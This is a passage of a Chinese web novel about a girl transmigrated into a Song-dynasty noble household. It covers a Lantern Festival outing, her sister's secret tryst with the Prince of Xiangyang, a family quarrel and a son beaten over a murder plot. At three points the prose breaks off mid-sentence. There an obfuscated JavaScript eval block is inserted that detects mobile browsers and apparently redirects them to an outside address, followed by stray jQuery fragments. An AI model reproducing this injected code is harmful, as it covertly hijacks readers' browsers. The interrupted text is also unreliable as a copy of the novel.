曹晚书撇撇嘴道:“他指不定还在睡大觉呢。”
两位姐姐都笑着啐她:“也就你这般贪睡,表哥是读书人,哪能像你一样懒怠。”
姐妹三个说说笑笑,一路嬉闹着,便到了安亭蕴居住的院落。
她们蹑手蹑脚地探着头走进院子,窗下摆着一张梨花木桌,安亭蕴端坐在桌前翻着书卷,眉目清朗,神情专注,丝毫没察觉到外头来了人。
也不知是读得太入神,还是口渴了,他的眼睛始终盯着书页,手下意识地伸到桌边,一把抓起盛着墨汁的小砚台,就要往嘴边送。
曹晚书看得心头一跳,连忙出声喊住他:“二表哥,你仔细瞧瞧手里头拿的是什么!”
安亭蕴冷不防听见身后有人说话,惊得手一抖,低头看清手中的东西,顿时俊脸微红,放下砚台,有些不好意思地笑了笑。
“若不是五妹妹出口相救,我这一口白牙,今日怕是要被染成黑的了。”
话落,曹玉书笑得弯了腰,指着他打趣道:“早知道就不该让五妹妹开口,我倒真想看看,二表哥的牙染成黑色,到底是何等滑稽模样,哈哈哈。”
“四姐姐,你可真坏!”曹晚书也跟着笑,伸出手指点了点曹玉书。
安亭蕴站在一旁,含笑看着她们姐妹打闹,待众人笑闹声渐歇,才问道:“不知三位妹妹屈尊来我这儿,是有什么事吗?”
“哦,我们今日来是想…”曹金书话未说完,便被曹玉书抢了先。
曹玉书挤了挤眼睛,促狭道:“我们今日来,是想问问二表哥,今儿是什么日子。”
姐妹几个心领神会,都晓得四姐姐这是又拿安亭蕴打趣呢。
曹金书也跟着凑趣,扬声道:“我猜二表哥定然不知道今日是什么日子,我赌一两银子,你们敢不敢跟我赌?”
曹玉书立刻附和,一脸笃定:“我也赌二表哥不知道。”
二人说罢,齐齐将目光投向曹晚书,等着听她的说法。
曹晚书被她们看得有些不好意思:“我…我猜表哥是知道的。”
随后,姐妹三个的目光都落在安亭蕴身上,直看得他耳尖泛红,略显局促。
他缓缓开口:“今儿外头鞭炮声阵阵,算来应是上元佳节吧。”
“哇!”曹晚书一脸狂喜,当即伸出手,朝垮着一张脸的两位姐姐讨要银子,“愿赌服输,愿赌服输!”
“知道了知道了,先欠着,等晚上让我身边的丫头给你送去。”曹玉书嘴上说得爽快,心里却揪着疼。
从安亭蕴的院子出来后,姐妹三个便结伴去了府中的后花园,寻了个僻静处扎花灯。各色绢纱、细竹篾、面糊摆了一地,好不热闹。
金书手巧,扎了个莲花灯,栩栩如生,玉书则扎了个兔子灯,活泼可爱。轮到晚书,她那双手平日里抹牌掷骰子倒利索,做起这精细活计却笨拙得很,扎出来的灯笼歪歪扭扭,灯骨都露着,糊的纱也皱巴巴。等到做好了,天也就黑了。
两位姐姐看了她的杰作,都笑她,说她的灯笼别具一格,挑着出去,整个汴京城,都找不出来第二个。
偌大的鲁国公府早已是张灯结彩,处处点起明晃晃的巨烛,将暮色四合的天光都映得一片通明,富贵气象逼人。
逢此佳节,府中自是珍馐罗列,杯盘交错。一大家子陪着老太太、老爷夫人们用了团圆饭,席间笑语喧阗。
待到酒过三巡,菜过五味,曹老太太才慈眉善目地发话:“孩子们都坐不住了吧?去吧去吧,由着你们兄弟姊妹们出去逛逛灯市,也松泛松泛,只一条,早些回来。”
今儿也不知是怎么回事,宋夫人说曹舆感染了风寒,身子不适,就不跟着一道出去了。这话听着,倒让人有些辨不清真假。
毕竟早上的时候,曹晚书还瞧见曹舆如龙似虎般在园子里耍枪弄剑,身手矫健得很,哪里像是有病的样子。
许是宋夫人怕他又出去惹祸,这才找了个由头,不让他出门吧。
谁知宋夫人刚说完,曹舆便站起身,一脸不悦地嚷嚷道:“我何时有病了?好端端的,怎么就不能出去了!”
宋夫人脸上一阵尴尬,藏在桌子底下的手狠狠掐了一把曹舆的胳膊,又拼命给他使眼色,让他少说话。
曹舆疼得龇牙咧嘴,索性转过身,当着众人的面质问宋夫人:“母亲,你掐我做甚么?”
既然他这般不怕丢人,宋夫人也索性把话摊开了说,没好气地瞪着他道:“你自己说说,哪回出去不惹祸?我怎么就生了你这么个冤家!”
大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202116|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
房的王夫人见状,连忙打圆场道:“三哥儿想去就去吧,我让我家轸儿和轴儿跟着他,多看着些,弟妹尽管放心就是。”
宋夫人却不领情,没好气地白了她一眼,一肚子火气没处发,低声嘟囔道:“你家曹轸曹轴,也不是什么安分的东西,免得到时候再带坏了我儿。”
王夫人一听这话,当即不乐意了,站起身来就要与她理论:“弟妹,你这话是什么意思?我好心好意帮你,你怎么反倒扯我家两个孩子!”
宋夫人趾高气昂地扬着下巴:“我说你家曹轸曹轴不是好东西,怎么,我说错了吗?”
“你凭什么这么说我儿子!难道你儿子就是好东西了?你儿子才是个不成器的东西!”王夫人气得眼圈发红,拿起手帕捂着脸,在饭桌上哭嚎起来,“你们都欺负我是寡妇,欺负我家官人不是老太太亲生的,是从外头抱来的!你们都不把我放在眼里,我活着还有什么意思啊,呜呜呜…”
宋夫人被她这副模样气得险些背过气去,伸手指着她,半天说不出一句完整的话:“你方才还对我咋咋呼呼,这会儿倒又哭起来了,除了会卖可怜,你还会干什么!”
“行了!有完没完!”曹老太太猛地将手里的拐杖往地上重重一磕,震得满桌人都安静下来。
席面上霎时鸦雀无声,曹老太太沉下脸,继续说道:“让哥儿姐儿们都出去逛逛吧,多派几个力气大的小厮跟着,寸步不离地护着姑娘们的安全。至于轸哥儿、轴哥儿、舆哥儿你们几个,素来爱闯祸,今日都给我收敛些。若敢在外头惹事,休怪我罚你们禁足抄书!”
这时,老太太身边的刘妈妈走了过来,手中拿着一个托盘,托盘上放着一个东西,用红布盖了起来,看不到里面是什么。
刘妈妈躬身道:“老太太,襄阳王送来贺礼,说是什么鬼工球,我也不知道是什么东西。”
曹老太太掀开上面的红布,众人忙伸长了脖子去瞧。那物事拳头大小,通体莹白如雪,是用一整块上好的象牙镂空雕成。妙处在于,这球里套着球,一层裹着一层,足有三层之多。每一层都薄如蛋壳,均匀剔透,面上还刻满了精细繁复的花鸟瑞兽,还层层皆能转动自如,简直鬼斧神工。
王夫人看得眼都直了,啧啧称奇:“我的老天爷,这怎么弄出来的?神仙手段也不过如此吧?”
老太太面上也露了笑意,侧头对刘妈妈吩咐:“去,把我屋里那套大玉川先生茶具寻出来,仔细包了,给襄阳王送去。人情往来,讲究个有来有往,咱们家,不能白占人便宜。”
戌时,曹家一众小主子们涌上了街。但见长街两侧,火树银花,亮如白昼。各色花灯争奇斗艳,猜灯谜的摊子前更是人头攒动,笑语喧哗。
安亭蕴素喜这等雅趣,便在一处灯谜摊前驻足。
他随手拈起一张红纸签,见上面写着一句谜面:“远看像头牛,近看没有头。”正沉吟间,感觉袖口被人轻轻扯了扯。
低头一看,是曹晚书踮着脚尖,一双杏眼亮晶晶地瞅着他手里的谜签。
“妹妹可猜得出这是何字?”安亭蕴温言问道。
5. 金书幽会襄阳王 逛花灯无意撞私会
曹晚书摇摇头,装作不懂道:“二哥哥既问,想必是胸有成竹了?”她心里却想,这谜底在后世简单得很,不过看他考校的样子倒有趣。
安亭蕴见她摇头,唇角微扬,对设摊的老者道:“老丈,此乃午字。”老者笑着点头,取下一盏精巧的莲花灯递给他。
安亭蕴接了灯,他看了看灯,又看了看身边只及他胸口高的小人儿,心头软了几分。
这花灯玩意儿,自己提着确是无趣,便自然而然地将灯柄塞到曹晚书小手里:“喏,给你顽去。”
曹晚书接过灯,烛光映得她小脸绯红:“多谢表哥。”她回头四顾,发现其他兄弟姐妹早已不知钻到哪处热闹里去了,只剩下她和安亭蕴二人。
安亭蕴见她孤身一人,眉头微蹙。这上元夜虽热闹,却也鱼龙混杂,“五妹妹,人太多,莫走散了,我陪着你走走可好?”
曹晚书正求之不得,忙点头:“好呀,有哥哥在,我就不怕了。”两人便随着人流缓缓前行。
街上妇人众多,曹晚书很快发现新奇处。许多女子发髻间,都簪着一种会发光的精巧小灯笼。那灯笼不过栗子大小,或以珍珠点缀,或以翡翠镶嵌,煞是好看。
再往前几步,果然见一小摊,专售这等灯簪。不仅妇人,连许多男子发髻或帽冠上也顶着莲花、牡丹状的灯碗,里头燃着特制的火杨梅,哧哧冒着细小的火苗。
正看得入神,忽听一声惨叫,只见前头一个头戴牡丹灯碗的男子,许是酒意上头,脚下一个踉跄绊倒在地。
那灯碗里的火苗一下子窜起,将他鬓边一绺头发燎着了!那汉子惊得魂飞魄散,手忙脚乱地拍打头顶,又蹦又跳,狼狈不堪,惹得周围看客哄然大笑。
“噗嗤。”曹晚书也忍不住笑出声来,忙又掩住小口。
她原本也心动想买个灯簪试试,见此情景,立刻打消了念头,小声对安亭蕴嘀咕道:“这灯儿好看是好看,只是万一也烧了头发,可就成了秃毛鹌鹑了。”
安亭蕴瞧着她狡黠灵动的模样,低声道:“妹妹说的是,这顶灯之乐,还是让旁人消受罢。妹妹这头青丝若损了一星半点,才是可惜。”话说出口,才觉有些孟浪,忙借着看灯掩饰过去。
晚书脸上也飞起红霞,装作没听见,只指着前方:“呀,那边灯好大。”
宣德门外,潘楼街。
此处人山人海,最引人注目的是一座巨大的棘盆灯,由千百盏小花灯层层叠叠组合而成,形如宝塔,光华璀璨,照得半边天都亮了。
曹晚书仰头望去,宣德门楼之上,影影绰绰可见皇帝与妃嫔的身影,正在凭栏观灯。楼下特设的看台上,文武百官亦是济济一堂。
“真好看啊。”曹晚书由衷赞叹,这汴京上元夜的盛景,远超她前世任何一场灯会。
天空中还飘着无数盏孔明灯,如同星河倒悬,将整个夜晚渲染得如梦似幻。
“我在济州时,总道家乡灯会已是极盛,”安亭蕴也仰望着这片辉煌,感慨道,“如今方知何为东京梦华,官家与民同乐,此等气象,天下无双。”
三更十分,天子回銮。
宣德门上的灯火次第熄灭,巨大的棘盆灯也暗淡下来。
然而汴京的狂欢并未结束,人流如潮水般涌向相国寺、马行街、大佛寺、保真宫等依旧灯火通明之地。
曹晚书与安亭蕴随着人流往大相国寺方向走。
行至一处稍僻静的巷口,忽闻里面传来刻意压低的说话声,一男一女,那女子的声音听着格外耳熟。
曹晚书脚步一顿,亭蕴见她神色有异,也停下脚步,低问:“怎么了?”
曹晚书竖起手指“嘘”了一声,提着灯笼,悄悄往巷口阴影处照去。昏黄的灯光下,赫然映出两张脸,是她的大姐姐曹金书。
而她对面,站着一个身着锦袍,气度不凡的年轻男子,两人挨得极近,姿态亲昵,几乎是抱在一起。
不单是曹晚书和安亭蕴僵在原地,大姐姐猛见灯光,也吓得魂飞天外。
是襄阳王!眼前这人,就是原著剧情里,那个几年后起兵谋逆,最终兵败身死,并牵连无数官员家族满门抄斩的襄阳王赵珏。
大姐若真嫁给他,曹家上下,一个都跑不了,死路一条!
金书回过神来,手忙脚乱地整理着微乱的衣襟,强挤出一个笑容,对着曹晚书连连招手:“五妹妹,快过来。好妹妹,听姐姐说。”
曹晚书非但没上前,反而后退了半步:“大姐姐,你怎么在这里,这位是谁呀?”
她心想:绝不能被大姐哄骗住,此事必须拉上安亭蕴这个外人作证,才有转圜余地。
金书这才看清五妹身后还站着安亭蕴。这一下,如同五雷轰顶。她原以为只有年幼懵懂的五妹妹,哄一哄,吓一吓,许些好处便能封口。
可安亭蕴岂是那么好糊弄的。
她语无伦次:“不,不是的。二表哥,五妹妹,你们千万别误会,不是你们想的那样。”她指着襄阳王,辩解说,“是父亲母亲,他们有意将我许配给襄阳王的,我们只是碰巧在此遇到,真的!”
曹晚书面上装作恍然大悟,又带着点小女儿的天真,拍手道:“原来是这样啊。”
安亭蕴上前拱手一礼:“原来是襄阳王当面。既是长辈有意,在此巧遇,也是缘分。现在更深露重,此处僻静,恐非久留之地。大姑娘与五姑娘皆是闺阁女子,在下需护送她们回府了。
金书此刻只想立刻逃离这让她羞愤欲死的境地,忙不迭道:“是是是,表哥说得极是。五妹妹,我们快走。”她上前一把拉住曹晚书的手,力道大得惊人,再不敢看襄阳王一眼。
安亭蕴落后一步,对襄阳王再次拱手:“学生告退。”这才转身,不紧不慢地跟上曹家姐妹。
这姐妹俩各怀鬼胎回了府。待事略定,晚书觑个空儿,悄悄儿寻着安亭蕴说话。
安亭蕴正自心神不定,偷眼觑着晚书,见她粉面含忧,便宽慰道:“五妹妹,你且宽心。今日之事,烂在我肚里,断不肯嚼舌根子,坏了你姊妹名声。”
晚书知他是为着曹家女儿名声,要替金书遮瞒。但她路上早已思量停当,把心一横,道:“二表哥,你这话差了。此事非但不能瞒着,你须得赶紧将这事原原本本,说与我爹爹知道,不得有丝毫隐瞒。”
安亭蕴难以置信:“告知舅舅,于曹家姑娘名声有损,于你又有何益?”
晚书道:“曹家若因攀附逆王而倾覆,名声又算得了什么。”
他听后,忍不住皱眉问:“你为何如此笃定襄阳王将来必会谋逆?这等诛心之言,不可轻下。”
曹晚书脑子里飞快转着,她不能暴露自己是穿书者,但可以借势,于是说道:“前些日子我随母亲去大相国寺进香,一时贪玩走岔了路,无意间撞见襄阳王与人密谈。我躲在假山后,听得什么西南兵备的事,还提到襄阳王大业。这事我没敢告诉任何人,怕惹祸上身。如今看到大姐与他,我怎能不怕?”
安亭脸色
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202117|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凝重,万万没想到,这个表妹小小年纪,能从蛛丝马迹中推断出如此可怕的结论,并当机立断要阻止家族卷入。
他想了想,沉声道:“我明白了。你放心,此事我去与舅舅说。”
安亭蕴果然寻着曹望,把巷中撞见金书与襄阳王如何挨挨擦擦,搂搂抱抱的光景悄悄儿禀了。
曹望不听则已,一听之下,登时气得要死,怒吼一声:“来人!把大姐儿与我捆了来!”
安亭蕴见他怒发冲冠,怕他一时性起闹将出去,反坏了事,慌忙上前拦住道:“舅舅息怒,此事张扬不得。若叫那些奴才知晓,背地里唾沫星子就能淹死人。依甥儿愚见,不如悄没声地将大妹妹唤来,关起门来发落。她与那襄阳王的事,更须快刀斩乱麻,早定行止才是正理。”
曹望胸口起伏,切齿骂道:“真是辱没祖宗,败我家门,气杀我也。”直喘了半日粗气,方才略定。
待下人们战战兢兢把金书带到,安亭蕴是个晓事的,自忖是外男,不便在旁听那父女腌臜,便悄没声地退了出去。
次日清早,小丫鬟溜到曹晚书房里报信儿:“五姑娘,可了不得了。昨夜里老爷把大姑娘叫去,好一顿发作,今儿一早,老爷就出去寻他那班好友吃酒,席上便放出风去,说咱家大姑娘早几年就许了南边什么人家,只等过门了。”
小丫鬟话音刚落,只见又一个小丫鬟慌慌张张跑进来,跑得上气不接下气,道:“五……五姑娘,不好了!夫人动了真怒,说是要把柳姨娘发卖给人牙子,这会子正带着粗使婆子,往紫蝶苑拿人捆呢。”
晚书心下一惊,忙问:“为什么要卖我小娘?”
小丫头喘道:“谁知道呢,平白无故就要发卖人,只听得夫人一路走一路骂。”
晚书一听,心道:坏了!这分明是母亲在襄阳王事上吃了瘪,一腔邪火无处撒,迁怒到柳姨娘头上了。
人未到紫蝶苑,先听得里面鸡飞狗跳。晚书抢步进去,柳姨娘已被几个婆子按倒在地,用麻绳捆得结结实实。
宋夫人举着一根手腕粗的门闩,眼看就要兜头打下。
晚书三步并作两步,一把攥住门闩,硬生生夺了下来:“母亲这是为哪般?纵有天大的事,也犯不着动这粗。”
宋夫人气得浑身乱颤,骂道:“为哪般?就为这起子养汉精!定是这狐媚子在你爹跟前嚼了蛆,吹了枕头风,才哄得你爹猪油蒙了心,生生断送了我大姐儿的大好姻缘。”
晚书扶住宋夫人,替她顺着背,低声道:“母亲息怒,眼下正是节骨眼上。大姐姐那档子事,爹爹又在外头放了风,说姐姐早许了人。风口浪尖上,母亲若再闹出个发卖姨娘的事,传扬出去,外头那些闲汉婆子岂不更要疑心?只怕嚼舌根子嚼得更凶。依女儿看,与其置气,不如想想爹爹既说姐姐许了人,日后谁还敢上咱家提亲?这才是火烧眉毛的勾当。”
宋夫人一听,更是悲从中来,捶胸顿足哭道:“你爹这老糊涂,何苦来?这不是生生坑害我大姐儿么。若我大姐儿真因此嫁不出去,都是他这老杀才作的孽!呜呜呜……”
晚书在一旁劝慰:“母亲,莫哭了,哭坏了身子不值当。”
宋夫人哭了半晌,忽地抬起头,一双泪眼狠狠剜向晚书,骂道:“还有你这没良心的,我原道你是个贴心的,谁知也是当面一套背后一套。定是你这死丫头撺掇着告到你爹跟前,打量我不知道么!”
晚书心里叫苦不迭,这真是黄泥巴掉裤、裆,不是屎也是屎了。
6. 宋夫人快口怼众人 赴喜宴宋氏受折辱
她苦心经营,好不容易才笼络住这嫡母,眼看要前功尽弃。急中生智,凑到宋夫人耳边,神神秘秘地悄声道:“母亲,真真是冤枉死女儿了,女儿岂敢害大姐姐?实是为了咱曹家满门的身家性命啊。”
晚书顿了顿,接着道:“母亲不知,前日夜里女儿做了个怪梦,一个鹤发童颜的老神仙,指着女儿鼻子说:‘若教你大姐姐嫁了襄阳王,不出三年五载,你曹家满门抄斩,鸡犬不留。’女儿吓得魂都没了。”
宋夫人将信将疑,啐了一口:“做梦顶个屁用,不都说梦是反的?你这小蹄子,莫不是跟你小娘学坏了,见不得你大姐姐攀高枝,编出这谎话来诓我?”
晚书做出惊惶万分的样子,带着哭腔道:“母亲若不信,女儿也没法!只是那梦真真儿的,女儿梦见咱家宅子被抄了,金银细软尽数充公,男丁披枷戴锁下大狱,女眷流放三千里,冻饿而死、病死在路上的不知凡几。
还有那疯了的、上吊的,女儿醒来,一身冷汗。母亲细想,襄阳王是何等人物?天潢贵胄!咱家攀上这门亲,是福是祸,真真难料。母亲且耐着性子,日子久了,便知女儿这梦是真是假了!”
宋夫人见她说的有鼻子有眼,神情不似作伪,心里也犯起了嘀咕,低头盘算了半晌,脸色阴晴不定,终究没再言语,只把手里攥着的门闩往地上一掼,带着婆子,悻悻地走了。
晚书赶紧去给地上的柳静钗解绳子。
谁知绳子刚松开,柳静钗就开始哭起来,狠狠瞪了晚书一眼,拍着腿哭骂道:“我十月怀胎,九死一生,生下的好女儿,倒似替别人养了个孩儿。你一口一个母亲,可曾把你亲娘放在眼里半分?”
晚书被她哭骂得一怔,心里又是气又是无奈,暗道:若她是个明白人,见女儿能得嫡母几分青眼,巴不得烧高香,日后也好有个依靠。偏生这柳姨娘,只一味想着自己肚皮里爬出来的骨肉叫别人娘,心里那坛子醋就翻江倒海起来。
转念一想,不过是妇人常情罢了。
晚书索性跪坐在柳静钗身边,拉起她的手,未语泪先流:“小娘口口声声说疼我,却不知是真心疼我,还是假意疼我?”
柳静钗哭得梨花带雨,抽噎道:“你……你是我肚里爬出来的肉,我岂能不疼你?”
晚书抹着泪道:“小娘疼我,就该替女儿想想,满府上下谁不知我是姨娘生的。比起以前,如今没有哪家是把嫡出庶出整日挂嘴边的,传出去叫人笑话,都是平等对待一样疼。
宋夫人是府里正经八百的主母,可我毕竟不是她亲生的,若跟她对着干,针尖对麦芒,咱娘儿俩日后能得什么好?女儿如今伏低做小,哄着她些,她见女儿不过是个丫头片子,碍不着她什么,兴许就少些刁难。日后她指缝里漏点好处,给女儿寻个过得去的人家,也未可知。小娘,咱们娘儿俩的命,捏在人家手心里啊。”
柳静钗听罢,呆了半晌,长叹一声,眼泪又滚下来:“唉,罢罢罢。只怨你命苦,托生在我这没用的肚皮里,倒拖累了你。”她抹了两把泪,挣扎着从地上爬起来,又伸手把晚书也拉了起来。娘儿俩相对无言,唯有泪千行。
近日东京府里炸开了锅,都传襄阳王看上了武安侯府上的二姐儿,两家要结亲哩。
那武安侯府里的张夫人,喜得浑身骨头没个四两重,立时大排筵宴,遍撒请帖,把半个东京城有头脸的夫人小姐都请了去。
鲁国府里的大姐儿金书得了信儿,哭得死去活来,泪珠子断了线似的,死活不肯去赴宴。
她母亲宋氏心里也似吞了苍蝇,膈应得很。
武安侯府下的帖子已到了手上,不去?脸面上不好看。去了?明摆着是看那张夫人抖威风,自家矮了一头,白受腌臜气。
左思右想,到底捏着鼻子,带了玉书、晚书两个姐儿,硬着头皮去了。
这位张夫人也不知是存心还是碰巧,将宋氏娘仨安排在最末一席坐下。
那地方,连府里有体面的管事妈妈坐的都不如,生生是把鲁国府的脸面踩在了脚底下泥里。
席间,一个姓赵的媳妇,惯会舔肥的,端着酒杯凑到张氏跟前奉承:“哎哟我的好姐姐,你可是掉进福窝里了。谁不知道襄阳王是龙子凤孙,最有望承大位的?赶明儿你家二姐儿做了圣人娘娘,可别忘了拉扯拉扯我们这些姐妹呀。”
这话搔着了张氏的痒处,登时眉开眼笑,那下巴颏扬得,恨不能戳到天上去,只差拿眼白睥睨众人了。
张氏心里得意得紧,但面上还要装出浑不在意的模样,假意拉着赵媳妇的手道:“哎呦喂,我的好妹妹,这话可不敢浑说。立储那是官家金口玉言的事儿,咱们妇道人家哪敢妄议。今儿请诸位姐妹来,不过是图个热闹,大家一处乐乐。都别干坐着,动筷子,动筷子!”
这时,又有个不知哪家的媳妇子,斜乜着眼,拿腔拿调地笑道:“说的是呢,到底是你家二姑娘有造化,不像有些人家,癞蛤蟆想吃天鹅肉,没吃着不说,反栽进臭水沟里,扑腾了一身泥,惹人笑话。”这话明里暗里,刀子似的直戳宋氏的心窝子。
席上那些贵妇们听了,都心照不宣地掩着嘴笑起来,可把宋氏给气得不轻。
此刻,她倒不觉得丢了襄阳王这乘龙快婿有多可惜了,只暗暗咬牙诅咒:但愿你武安侯府也遭一回塌天大祸,看你这张狂劲儿能到几时。
张氏眼角瞥见宋霜华脸上挂不住,心里越发受用,故意清了清嗓子,冲着末席道:“宋夫人,你怎地坐得恁般远?快往前头挪挪,姐妹们一处说话才热闹。”
宋夫人被这一声点破,再也按捺不住,眼睛恶狠狠扫过席上众人,最后钉在张氏那张得意脸上,从牙缝里挤出话来:“乌鸡插上几根凤凰毛,还真当自己是金翅大鹏,能飞上九天了不成!”
张氏也不恼,反作惊讶状,拍手道:“哎哟喂,大家伙儿听听,我好心请妹妹往前坐,怎地倒惹出这大火气来?妹妹这心气儿也太高了点吧?”
赵媳妇赶紧又凑上来,舔着脸帮腔:“嗐,姐姐莫怪,有些人呐,是眼馋肚饱,吃不着葡萄说葡萄酸,心里头那股子邪火没处撒呢。”
宋氏听了,只从鼻孔里哼气,站起身,掸了掸衣袖,冷笑道:“好心当驴肝肺。我劝你一句,得意时莫忘形,小心羊肉没吃到嘴,反惹一身羊膻臊。到时候,才真真是活现眼!”说罢,也不管席面上如何,一手拽一个女儿,头也不回地走了。
一回到府里,宋氏胸中那口浊气顶得她心口疼,坐在榻上只喘粗气。
邹妈妈在一旁递茶顺气,好话说了一箩筐,也没甚么用。
正没好气,里屋门帘一掀,曹金书哭得眼睛肿得像桃儿,泪痕未干,抽抽噎噎地问:“娘,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202118|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他真个要和武安侯府结亲了么?”
“哭!哭!哭!就知道哭!”宋氏气得指着她骂道,“瞧瞧你这副模样,还有半点大家闺秀的体统没有?老太太教你的规矩礼数,都就着饭吃进狗肚子里去了?”
她喘了口气,又恨铁不成钢地道,“这才几日功夫,他就能跟旁人定亲。我的儿,可见那起子王孙公子,哪有什么真心实意?不过是图个新鲜,你快些收了那痴心妄想才是正经。”
“可……可是他亲口对我说过,今生非我不娶的。”金书委屈得又要落泪。
“我呸!”宋夫人啐了一口,火气又旺了几分,点着女儿的额头骂道,“臊也不臊!还嫌丢人丢得不够么?从今往后,休要在我面前提这起子没良心的东西。我朝宗室子弟多了去了,如今储位空悬,鹿死谁手还未可知。你才多大,黄花闺女一个,急什么?给我耐着性子,好生等着。”
女儿家情窦初开,那点痴念哪是说放就能放的?曹金书满腹委屈无处诉,一头扎回自己房里,又蒙着被子嚎啕了半日,直哭得嗓子哑了,眼睛涩了,方才罢休。
宋夫人也懒得去管她,由着她哭去,只道哭够了自然消停。
这边刚忙活完曹金书的事,又有小厮来报:“夫人,不好了。三哥儿在娼楼吃花酒没给银子,娼楼那边差人过来要,正巧被老爷撞见,这下要拿棍子打三哥儿呢!”
宋夫人险些被气晕过去,嘴里直念叨:“冤孽啊,我是生了一群讨债鬼,大的小的没有一个让我省心的。”
她拔腿就要过去救,却被邹妈妈给死死拦住,低声说:“夫人息怒,哥儿有错,当爹的管教也是正理。夫人若回回都这般护短,哥儿越发没了惧怕,往后更不服管了。”
小厮在门外急得跺脚,插嘴道:“妈妈不知,老爷这回是真下了死手。小的听福五说,老爷把供奉的祖宗家法都请出来了,那架势……怕是要把三哥儿打死哩!”
“啊?!”宋夫人魂飞魄散,腿一软又要倒,亏得邹妈妈架着,“我的儿啊!”
她嚎了一嗓子,也顾不得许多了,推开邹妈妈,脚下生风地往后堂赶,嘴里兀自咒骂不休,“都怨大房那两个不成器的孽障,整日里勾引我的舆哥儿往那下流地方钻。她大房养的猪狗不如,也要带坏我的儿,真真气煞我也。”
待她气喘吁吁赶到后堂,里面已静了下来。进去一看,曹舆像条死狗般趴在长条板凳上,下身衣衫褴褛,皮开肉绽,血糊淋剌,已是进气多出气少。
“我的儿啊——”宋氏心胆俱裂,扑上去抱住,手抖得无处安放,眼泪鼻涕一齐涌出,“怎地下这般死手啊,我的儿…”
曹望把手里的紫檀木大棒掷在地上,一张脸黑得如同锅底,瞪着宋氏骂道:“看看!看看你养的好儿子!”
宋氏心疼儿子,此刻也豁出去了,抬起头怒视丈夫:“不就是在外头吃了两杯花酒,欠了几个缠头钱?补上不就完了。天大的事,值当你动家法,连祖宗面前的家什都搬出来了,哪个爷们儿在外头没点风流债?定是大房那两个杀才,曹轸、曹轴,撺掇着带坏了我的儿!”
曹望气得胡子直抖,指着半死的曹舆:“若只是吃酒欠钱,老子睁只眼闭只眼也就罢了。这孽障,在外头差点闹出人命官司!”
“啊?”宋氏顿时哑了,一张脸煞白,“人…人命官司?”
7. 曹舆受冤遭棍打 风月债惹出人命祸
“你肚子里头掉下来的肉,没一个省心的。”曹望脸上燥得慌,恨声道,“你养的好姐儿在外头偷汉子,你那孽畜儿子更了不得,瓦子勾栏里看上了个卖唱的粉头,竟痴心妄想偷娶了养在外头做外室。那粉头已许了人家,这孽障不思罢手,反要强夺人妇,更要下死手打死那汉!”
他喘口气,接着道:“那粉头被逼得走投无路,我下值刚到家门,她便扑在阶前,哭得泪人儿一般,口口声声求我做主。我不应承,她便撒泼,扬言立时要去衙门击鼓鸣冤,定要闹得满汴京皆知,人尽唾骂。”
宋夫人一听,心肝儿“咯噔”一下,凉了半截。要是报官,那丢人可就丢到姥姥家了。
丢人事小,若真陷进了吃人的大狱,如何是好?
这曹舆不过十五六岁年纪,书不好生念,成日在外招猫逗狗、惹是生非,怎生得了!
宋氏皱着眉,半天说不出话来。
“我前世作了什么孽,怎得生出了这么个孽障。”宋夫人以帕掩面,呜呜咽咽哭个不停。
曹望只觉得耳边聒噪,心烦意乱的,甩袖离开。
宋夫人连忙去叫人请大夫来给曹舆医治,曹舆醒来后,身上皮开肉绽把他疼得龇牙咧嘴,嗷嗷叫唤个不停。
“挨了这顿好打,以后可知道改了?”宋夫人坐在榻边,冷着脸问。
曹舆把头一扭,梗着脖子,一声不吭。
宋夫人长叹一声:“罢!罢!你若仍是这般不知死活,日后犯下滔天大祸,是死是活,我也只当没生养过你这不肖子,眼不见为净!”
曹舆登时怒道:“母亲只知骂我,那打死人的勾当,难道是我亲手做下的?父亲不听我分辩半句,劈头盖脸便是棒子,好没道理!”
“哦?难道还另有隐情不成?”宋夫人狐疑道。
“儿子承认,朱三娘确是儿子看上了,有心要娶她做个外室。她原已许了个姓张的,我想着多与他些银钱了事便是。谁成想那姓张的狮子大开口,竟索要五百两,儿子无法只好四处筹措。
可曹轸、曹轴那两个狗攮的!竟背地里商议,要把张老九诓骗到城外荒僻处,悄悄结果了性命。我何曾应允?哪知他二人胆大包天,真个背着我行事,事后反倒一口咬定是我指使。母亲,我冤啊!”
“黑了心肝的下流种子们,敢这般坑害我儿!”宋夫人一听,登时暴跳如雷,心头一把无明业火焰腾腾地按捺不住,立时就要冲出去寻那两个小猢狲拼命。
